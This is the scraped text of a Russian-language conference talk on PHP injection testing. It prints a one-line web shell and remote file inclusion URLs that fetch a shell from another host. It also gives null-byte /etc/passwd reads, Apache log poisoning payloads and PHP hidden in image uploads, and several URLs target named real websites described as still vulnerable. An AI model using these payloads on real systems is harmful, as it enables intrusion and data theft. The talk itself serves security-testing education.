Upload
sqalab
View
1.301
Download
0
Embed Size (px)
DESCRIPTION
Презентация доклада Дмитрия Мулица на конференции SQADays-14, Львов 8-9 ноября 2013
Citation preview
Тестирование безопасности: PHP инъекция
Тестирование безопасности: PHP инъекция
Дмитрий Мулица. CTDev
Тестирование безопасности: PHP инъекция
Введение
Почему проблема всегда актуальна
● Захват ресурса с целью внедрения своего кода (вирусы, ссылки, баннеры)
● Хищение информации / шпионаж
● Недобросовестная конкуренция
● Спортивный интерес
Тестирование безопасности: PHP инъекция
Введение
Почему именно PHP
Netcraft:
● 39% сайтов в интернете используют PHP
● 244 млн. сайтов используют PHP
Тестирование безопасности: PHP инъекция
Общее понятие
PHP-инъекция - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.
Тестирование безопасности: PHP инъекция
Общее понятие
Потенциально опасные функции:● include()
● include_once()
● require()
● require_once()
● eval()
● create_function()
● preg_replace()
● passthru(), system(), exec(),...
Тестирование безопасности: PHP инъекцияОбщее понятие
Использование повторяющихся кусков кода на разных страницах
приводят к использованию:
include()
include_once()
require()
require_once()
Тестирование безопасности: PHP инъекцияОбщее понятие
passthru(), system(), exec(), shell_exec,
popen, proc_open
Позволяют запускать стороннее приложение. Чаще всего имеется в виду – консольное.
Тестирование безопасности: PHP инъекция
Общее понятие
Для примера, классический Web shell
shell.php:
<?php system($_GET["command"]);
?>
Тестирование безопасности: PHP инъекция
Общее понятие
Пример использования web shell'a:
Выключить windows хост-машину
http://[site]/shell.php?command=shutdown -s
После декодирования получается:
http://[site]/shell.php?command=shutdown%20-s
Тестирование безопасности: PHP инъекция
Общее понятие
Готовые решения web shell'ов● C99 Shell
● CIH.[ms] Webshell
● R57Shell
● WSO Webshell
● P.A.S.
● phpShell
● ...
Тестирование безопасности: PHP инъекция
Общее понятие
Тестирование безопасности: PHP инъекцияОбщее понятие
Основные способы передачи данных:● GET-запросы● POST-запросы● Cookie● Header-запросы● Files
Тестирование безопасности: PHP инъекция
Глобальная инъекция
Глобальная инъекция – подключениe (include) кода, находящегося на другом сервере.
Тестирование безопасности: PHP инъекция
Глобальная инъекцияmain.php:
<?php
if($_GET['id'])
include($_GET['id']);
?>
Пример использования:
http://[site]/main.php?id=1.php
Тестирование безопасности: PHP инъекция
Глобальная инъекция
0) http://[site]/main.php?id=1.php
1) http://[site]/main.php?id=http://[another-site]/shell.php
2) http://[site]/main.php?id=http://[another-site]/shell.php&command=shutdown%20-s
Тестирование безопасности: PHP инъекция
Локальная инъекция
Локальная инъекция - подключения (include) кода, находящегося на текущем сервере.
Тестирование безопасности: PHP инъекция
Локальная инъекция
http://[site]/main.php?id=[path_to_file]
Действующие примеры:http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00
http://museum.nhm.uga.edu/index.php?page=../../../../../etc/passwd%00
Тестирование безопасности: PHP инъекция"Ядовитый" ноль
Нюанс в примере:
http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00
Тестирование безопасности: PHP инъекция
"Ядовитый" ноль
Нулевой байт aka "Ядовитый" ноль
= конец строки
%00 - закодированный в формат URL нулевой байт.
Тестирование безопасности: PHP инъекция
Локальная инъекция
http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00
Тестирование безопасности: PHP инъекция
Локальная инъекция
http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00
Тестирование безопасности: PHP инъекция
Локальная инъекцияhttp://museum.nhm.uga.edu/index.php?page=../../../../../
etc/passwd%00
Тестирование безопасности: PHP инъекция
Локальная инъекцияhttp://museum.nhm.uga.edu/index.php?page=../../../../../
etc/passwd%00
Тестирование безопасности: PHP инъекция
Локальная инъекция
Тестирование безопасности: PHP инъекция
Загрузка файлов
● *.php● Изменение расширения● Модификация файла
Тестирование безопасности: PHP инъекция
Загрузка файлов
jpeg:<?php phpinfo(); ?>
Тестирование безопасности: PHP инъекция
Загрузка файлов
Тестирование безопасности: PHP инъекция
Инъекция через логи Apache'a
Пример Request Headers:Accept text/html,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding gzip, deflate
Accept-Language ru
Connection keep-alive
DNT 1
Host www.confeture.com
If-None-Match "dfab3f5e6cce48be79d870dc1374ccaa"
Referer http://www.confeture.com/
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Тестирование безопасности: PHP инъекция
Инъекция через логи Apache'a
Referer:
http://[site]/<?php passthru($_GET['command']);?>
httpd-access.log:
127.0.0.1 - - [17/Aug/2013:13:52:17 +0300] "HEAD / HTTP/1.1" 200 326 "http://[site]/<?php passthru($_GET[command]); ?>" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/28.0.1500.71 Chrome/28.0.1500.71 Safari/537.36"
Тестирование безопасности: PHP инъекция
Инъекция через логи Apache'a
Примерный запрос:http://[site]/page.php?page=../../../../../../../httpd-access.log%00&command=uname+-a
Тестирование безопасности: PHP инъекцияИнъекция через логи Apache'a
http://www.ecwatech.ru/2014/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00
Тестирование безопасности: PHP инъекцияИнъекция через логи Apache'a
http://citypipe.ru/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00
Тестирование безопасности: PHP инъекция
Рекурсия
Рекурсия - вызов функции (процедуры) из неё же самой (wiki)
Текущий пример:http://www.sghp.ru/index.php?page=index.php
Тестирование безопасности: PHP инъекция
Рекурсия
Тестирование безопасности: PHP инъекция
Способы тестирования
Варианты тестирования:● С доступом к коду● Без доступа к коду
Тестирование безопасности: PHP инъекция
Способы тестирования
Варианты тестирования:● Ручной● Автоматический
Тестирование безопасности: PHP инъекция
Способы тестирования
Необходимое условие:
Знать возможные способы атаки
Тестирование безопасности: PHP инъекция
Автоматический поиск
● Acunetix● RATS - Rough Auditing Tool for Security.
● RPVS - Remote PHP Vulnerability Scanner.
Тестирование безопасности: PHP инъекция
Завершение
Спасибо за внимание.
Тестирование безопасности: PHP инъекцияЗавершение
Вопросы?
Skype: dmulitsa
E-mail: [email protected]